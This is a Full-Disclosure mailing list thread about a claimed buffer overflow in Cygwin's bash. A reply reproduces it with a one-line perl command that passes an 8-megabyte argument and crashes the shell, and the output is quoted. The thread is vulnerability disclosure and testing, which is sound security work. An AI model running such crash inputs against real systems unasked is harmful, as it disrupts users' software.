Cygwin Bash Buffer Overflow (Cosmin Stejerean)

[Stejerean, Cosmin]

Cygwin Bash Buffer Overflow
Affected: Versions of bash distributed by the cygwin project
vendor url: http://www.cygwin.com
Type: Local
Background.
Cygwin is a Linux-like environment for Windows. GNU BASH is the GNU
project's UNIX shell. It replaces the standard UNIX Bourne and Korn
shells.
Description
I think that cygwin people are cool, but Full Disclosure is a life

style,

this is all you get guys, 8 megs.
PoC

Which version of bash for Cygwin? I tried your PoC on the latest version
of Cygwin and everything was fine.




Cosmin Stejerean




_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Paul Melson]

Post by Stejerean, Cosmin
Which version of bash for Cygwin? I tried your PoC on the latest version

of Cygwin and everything was fine.
I'm able to reproduce it using 2.05b-17 (latest default) and 3.0-2:

$ bash --version
GNU bash, version 2.05b.0(1)-release (i686-pc-cygwin)
Copyright (C) 2002 Free Software Foundation, Inc.

$ /usr/bin/bash `perl -e "print 'a'x8388600"`
130 [main] bash 2876 cmalloc: cmalloc returned NULL
Segmentation fault


$ bash --version
GNU bash, version 3.00.16(2)-release (i686-pc-cygwin)
Copyright (C) 2004 Free Software Foundation, Inc.

$ /usr/bin/bash `perl -e "print 'a'x8388600"`
6 [main] bash 3496 cmalloc: cmalloc returned NULL


PaulM


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/